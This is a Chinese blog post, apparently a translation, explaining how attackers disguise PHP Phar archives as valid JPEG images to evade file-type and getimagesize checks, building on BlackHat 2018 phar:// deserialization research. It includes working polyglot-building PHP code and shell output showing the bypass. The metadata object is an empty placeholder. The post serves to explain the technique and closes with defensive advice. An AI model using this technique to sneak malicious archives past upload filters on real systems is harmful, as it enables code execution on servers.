攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)


Posted in Python onOctober 11, 2018

在US BlackHat 2018大会上,安全人员证明,攻击者不仅可以利用PHAR包发动RCE攻击,而且,通过调整其二进制内容,他们还可以将其伪装成一幅图像,从而绕过安全检查。

在本文中,我们来看看第二点是如何做到的。

背景知识

在US BlackHat 2018大会期间,Sam Thomas召开了一个关于在PHP中利用 phar:// 流包装器来实现针对服务器的代码执行攻击的研讨会( 幻灯片 )。

在运行PHAR包时,由于PHP会对其内容进行反序列化,从而允许攻击者启动一个PHP对象包含链。其中,最有趣的部分在于如何触发有效载荷:归档上的任何文件操作都将执行它。最后,攻击者根本无需关心文件名是否正确,因为即使是失败的文件调用,PHP也会对其内容进行反序列化处理。

此外,攻击者完全可以将PHAR包伪装成一幅图像:在这篇文章中,我们将为读者解释他们是如何做到这一点的。

降至字节码级别

有时我们会忘记这一点,那就是在机器眼里,文件只不过是一堆遵循预定义结构的字节而已。对于应用程序而言,将检查自己是否可以管理这样的数据流,如果可以的话,就会生成相应的输出。

在Thomas的演讲中,曾提示如何创建具有有效JPEG头部的PHAR包。

攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)

图片引自Sam Thomas的幻灯片

不过,这里我们要做的是创建一个具有JPEG头部的文件,并更新PHAR的校验和。这样一来,PHAR包一方面会被视为一个图像,同时,PHP还可以继续执行它。

开始下手

听起来,这里只需修改几个字节并更新校验,按说应该非常轻松,对吧?

然而,事实并非如此。

计算校验和(至少对我来说)是一件让人头痛的事情。所以,我想:如果让PHP来代劳的话,会怎样呢?

所以,我对Thomas的原始剧本进行了一番改造,具体如下所示:

<?php
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

如您所见,这里将原始HEX字节添加到了PHAR存档的存根部分。下面是原始HEX得到的结果:

tampe125@AlphaCentauri:~$ xxd phar.jpeg 
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB

这同时是一个合法的PHAR包,以及一幅合法的JPEG图像吗?

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)

看到了吧,PHP将其视为一幅图像,我们仍然可以探索存档的内容。哈哈,好玩吧!

注意:请仔细查看存根部分,看看它是如何“跳过”开头部分的PHP标记的。因为这里是绕过大多数内容扫描程序的关键所在。对于存档来说,是否有效的关键在于函数 __HALT_COMPILER() ; 我认为,PHP会通过它来确定出应该“跳过”多少数据。

更进一步

到目前为止,我们制作的文件已经可以通过任何基于文件头的类型检测了,但是,对于更高级的检测方法来说,它就无能为力了。例如,使用 getimagesize 来检查文件内容是否为图像的话,将返回false,因为它并不是一幅“真正”的图像:

tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

看到了吧。

但是,别忘了,我们可以在 __HALT_COMPILER() 标记之前填充任意的数据的,所以,如果我们在此填入一幅完整的图像的话,会怎样呢?于是,我花了大量的时间去研读 JPEG规范 和 PHP源代码 ,不过最后仍然没有理出头绪,所以,我果断决定放弃——太复杂了。

那么,能否直接使用GIMP创建10x10黑色图像并嵌入其中呢?

<?php
class TestObject {}
$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

好了,看看效果如何:

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
 [0] =>
 int(10)
 [1] =>
 int(10)
 [2] =>
 int(2)
 [3] =>
 string(22) "width="10" height="10""
 'bits' =>
 int(8)
 'channels' =>
 int(3)
 'mime' =>
 string(10) "image/jpeg"
}

这次,我们如愿以偿了。这个文件不仅是一个包含我们想要利用的类的PHAR包,同时,它还是一幅合法的图像(我们甚至可以用系统图像查看器打开它):

攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)

小结

正如我们刚才看到的,文件实际上只是一堆字节而已:如果我们只是利用其元数据进行类型检测的话,那么很可能会出错:攻击者可以轻松绕过检测,并返回他们想要的文件类型。要想检测文件类型,更加可靠的解决方案是直接读取文件内容并搜索恶意字符串。

Python 相关文章推荐
Python中的__new__与__init__魔术方法理解笔记
Nov 08 Python
python模拟鼠标拖动操作的方法
Mar 11 Python
python中如何使用朴素贝叶斯算法
Apr 06 Python
对python 各种删除文件失败的处理方式分享
Apr 24 Python
11个Python Pandas小技巧让你的工作更高效(附代码实例)
Apr 30 Python
一篇文章彻底搞懂Python中可迭代(Iterable)、迭代器(Iterator)与生成器(Generator)的概念
May 13 Python
Django 开发环境配置过程详解
Jul 18 Python
解决python 文本过滤和清理问题
Aug 28 Python
Python lambda表达式filter、map、reduce函数用法解析
Sep 11 Python
python numpy库linspace相同间隔采样的实现
Feb 25 Python
Python中文纠错的简单实现
Jul 07 Python
Python编程根据字典列表相同键的值进行合并
Oct 05 Python
python中join()方法介绍
Oct 11 #Python
Python中staticmethod和classmethod的作用与区别
Oct 11 #Python
对Python 窗体(tkinter)文本编辑器(Text)详解
Oct 11 #Python
详谈Python 窗体(tkinter)表格数据(Treeview)
Oct 11 #Python
Python GUI布局尺寸适配方法
Oct 11 #Python
10 行 Python 代码教你自动发送短信(不想回复工作邮件妙招)
Oct 11 #Python
对Python 窗体(tkinter)树状数据(Treeview)详解
Oct 11 #Python
You might like
PHP批量采集下载美女图片的实现代码
2013/06/03 PHP
PHP四大安全策略
2014/03/12 PHP
php模拟服务器实现autoindex效果的方法
2015/03/10 PHP
php生成zip文件类实例
2015/04/07 PHP
php实现算术验证码功能
2018/12/05 PHP
利用百度地图JSAPI生成h7n9禽流感分布图实现代码
2013/04/15 Javascript
JS 对输入框进行限制(常用的都有)
2013/07/30 Javascript
javascript的日期对象、数组对象、二维数组使用说明
2014/12/22 Javascript
jQuery表单美化插件jqTransform使用详解
2015/04/12 Javascript
jQuery实现信息提示框(带有圆角框与动画)效果
2015/08/07 Javascript
js实现将选中值累加到文本框的方法
2015/08/12 Javascript
javascript实现的全国省市县无刷新多级关联菜单效果代码
2016/08/01 Javascript
jQuery实用小技巧_输入框文字获取和失去焦点的简单实例
2016/08/25 Javascript
基本DOM节点操作
2017/01/17 Javascript
令按钮悬浮在(手机)页面底部的实现方法
2017/05/02 Javascript
javascript 中的继承实例详解
2017/05/05 Javascript
VSCode配置react开发环境的步骤
2017/12/27 Javascript
JavaScript中的 new 命令
2019/05/22 Javascript
vue拖拽组件 vuedraggable API options实现盒子之间相互拖拽排序
2019/07/08 Javascript
解决layui的table插件无法多层级获取json数据的问题
2019/09/19 Javascript
使用Bootstrap做一个朝代历史表
2019/12/10 Javascript
Python抓取淘宝下拉框关键词的方法
2015/07/08 Python
Python之lambda匿名函数及map和filter的用法
2019/03/05 Python
Django之提交表单与前后端交互的方法
2019/07/19 Python
python实现mean-shift聚类算法
2020/06/10 Python
html5 touch事件实现触屏页面上下滑动(二)
2016/03/10 HTML / CSS
伦敦剧院及景点门票:Encore Tickets
2018/07/01 全球购物
Notino法国:购买香水和化妆品
2019/04/15 全球购物
小加工厂管理制度
2014/01/21 职场文书
计算机毕业生求职信
2014/06/10 职场文书
应急处置方案
2014/06/16 职场文书
2014年最新个人对照检查材料范文
2014/09/25 职场文书
加入学生会自荐书
2015/03/05 职场文书
入伍通知书
2015/04/23 职场文书
员工旷工检讨书
2015/08/15 职场文书
springboot 自定义配置 解决Boolean属性不生效
2022/03/18 Java/Android